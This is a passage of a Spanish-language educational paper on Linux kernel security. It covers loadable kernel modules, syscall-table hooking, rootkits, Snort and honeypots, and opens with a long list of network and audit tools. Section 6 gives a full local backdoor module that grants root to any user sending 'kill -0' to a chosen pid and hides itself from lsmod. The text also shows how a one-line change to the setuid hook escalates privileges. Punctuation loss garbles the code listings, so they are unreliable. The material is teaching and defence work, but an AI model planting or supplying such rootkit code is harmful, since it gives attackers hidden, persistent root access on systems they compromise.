acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
IacuteNDICE DE CONTENIDOS
Kernel hacks
1) Preparando el entorno de trabajo Obtener e instalar el coacutedigo fuente del nuacutecleo
2) Conceptos baacutesicos 3) Loadable Kernel Modules
Compilacioacuten de LKMs para la serie 24x 4) Sys_call_table[] en kernels 22 y 24 5) Protegiendo el UID 0 6) Backdoor local para kernels 24x 7) Moacutedulos para la serie 26 del nuacutecleo
Compilacioacuten de LKMs para la serie 26x 8) No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Otra alternativa iquestmaacutes sencilla 9) Hooks y hacks de intereacutes (algunas ideas) 10) Rootkits visioacuten general
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo Medidas de proteccioacuten y deteccioacuten de rootkits
Conclusiones
NIDS Snort
1) Preparando el entorno de trabajo 2) Configuracioacuten baacutesica de Snort 3) Descargando nuevas reglas de Inernet 4) Prevencioacuten de intrusiones 5) Usando ACID + Snort
Creando nuevas reglas para Snort
Conclusiones
Honeypots
1) Preparando el entorno de trabajo 2) Creando nuevos sistemas virtuales 3) Otros usos
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
Conclusiones
Bibliografiacutea y recursos en Internet
Kernel hacks y seguridad JMP
NOTA
El presente documento ha sido realizado por el autor de forma iacutentegra no obstante alguna informacioacuten de la que aparece ha sido utilizada por el autor del documento en otras ocasiones (aunque no en la misma forma ni en la totalidad del contenido) para otros trabajos personales publicados en la red u otros medios de comunicacioacuten con anterioridad Dichos documentos pueden estar regidos o no por la misma licencia del presente documento Las fuentes externas (incluyendo algunas figuras usadas) cuyo origen sea ajeno seraacuten citadas de forma expliacutecita yo deberiacutea aparecer al final del presente documento
Para la realizacioacuten de algunos diagramas se usoacute la herramienta ldquoDIArdquo y para escribir el documento se usoacute ldquoOpenOfficerdquo no obstante es posible distribuir el documento en cualquier otro formato siempre y cuando se respete su licencia y su contenido El trabajo no estaacute exento de errores e imperfecciones cualquier criacutetica constructiva (a modo de ldquofeedbackrdquo) seraacute bien recibida Existe una presentacioacuten (ldquodiapositivasrdquo) adjunta al documento que amplia (ligeramente) y sintetiza ciertos aspectos del documento y que lo complementa Estaacute disponible de igual forma en la red de Internet y se usoacute para la exposicioacuten (de una charla) presentando el trabajo en una Universidad
Kernel hacks y seguridad JMP
Introduccioacuten
En 1991 alguien llamado Linus B Torvalds se compra un PC (386) para intentar comprender de forma exhaustiva su funcionamiento Como es de imaginar el sistema M$ DOS cutre de la eacutepoca no aprovechaba el procesador 386 (ni siquiera usaba el modo protegido) asiacute que Linus cogioacute otro sistema llamado Minix con A Tanembaum como principal desarrollador y empezoacute a implementar y reprogramar funcionalidades hasta el puno en el que en 1991 ya disponiacuteamos de la versioacuten de Linux (contraccioacuten Linus + Unix) 001 que estaba muy lejos de ser lo que es hoy este potente sistema operativo
La primera versioacuten oficial (la 002) data del 5 de Octubre de 1991 y ya permitiacutea ejecutar ciertos programas GNU como bash Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de 1994 estaba disponible la primera versioacuten estable 10 de nuestro querido sistema operativo de forma totalmente independiente y libre -)
En este trabajo voy a tratar ciertos aspectos sobre la seguridad del nuacutecleo tanto en versiones recientes 26 como en las no tan recientes series 22 y 24 con el objetivo de ver como podemos protegernos ante ataques que se realizan a nivel del Kernel en forma de rootkit y especialmente como funcionan este tipo de programas para comprometer la seguridad
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento seraacute necesario tener en consideracioacuten una serie de requisitos previos
Para poder trabajar con un Kernel de Linux necesitamos algo fundamental esto es un Kernel -) concretamente necesitamos los sources de las series 24 y 26 para ir bien Resulta de intereacutes tener dos SO corriendo usaremos Qemu o VMWare
Necesitaremos a ser posible un depurador como GDB o cualquier otro que corra bajo Linux
Compilador GCC en una versioacuten reciente
Tener soporte para Loadable Kernel Moacutedules habilitado en el nuacutecleo actual
Un editor para el coacutedigo fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario
Nociones elevadas de C y programacioacuten a bajo nivel son altamente recomendables
11- Obtener e instalar el coacutedigo fuente del nuacutecleo
El coacutedigo fuente del nuacutecleo se puede obtener de los CDs de instalacioacuten de nuestra distribucioacuten o bien a traveacutes de Internet en la URL
httpwwwkernelorg
Una vez descomprimido el contenido del ldquotarballrdquo en usrsrc procedemos a crear un enlace simboacutelico en el mismo directorio apuntando a las fuentes del nuacutecleo que vayamos a compilar y que posteriormente tras su compilacioacuten e instalacioacuten seraacute ejecutado al reiniciar la maacutequina
ln ndashs usrsrclinux-$(uname ndashr) linux
Teniendo eso en cuenta
root cd usrsrc
1 Descargamos el coacutedigo fuente del Kernel en usrsrc 2 Descomprimimos el contenido seguacuten convenga tar jxvf linux-2xx 3 Compilamos el nuacutecleo con las opciones adecuadas
cd usrsrclinux make menuconfig make ampamp make modules_install cp archi386bootbzImage bootkernel-2xx
editamos nuestro gestor de arranque como sea necesario (reiniciamos la maacutequina)
Kernel hacks y seguridad JMP
2- Conceptos baacutesicos
Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen
Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos
1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30
El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado
f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74
Kernel hacks y seguridad JMP
Kerneland y Userland
Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland
Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes
Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo
Archivos de cabecera
Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo
Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura
Llamadas al sistema
En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal
Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario
Kernel hacks y seguridad JMP
3- Loadable Kernel Modules
Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente
Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute
Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod
Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)
Kernel hacks y seguridad JMP
31- Compilacioacuten de LKMs para la serie 24x
Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel
root gcc -c listado2c -I usrsrclinuxinclude
lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado
root insmod listado2o parm_entero=5
podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt
Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute
Explicacioacuten
En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso
Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel
Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog
Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages
Kernel hacks y seguridad JMP
4- Sys_call_table[] en kernels 22 y 24
Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo
extern void sys_call_table[]
Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)
Listado 3
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)
Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento
El funcionmiento se explica a continuacioacuten
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
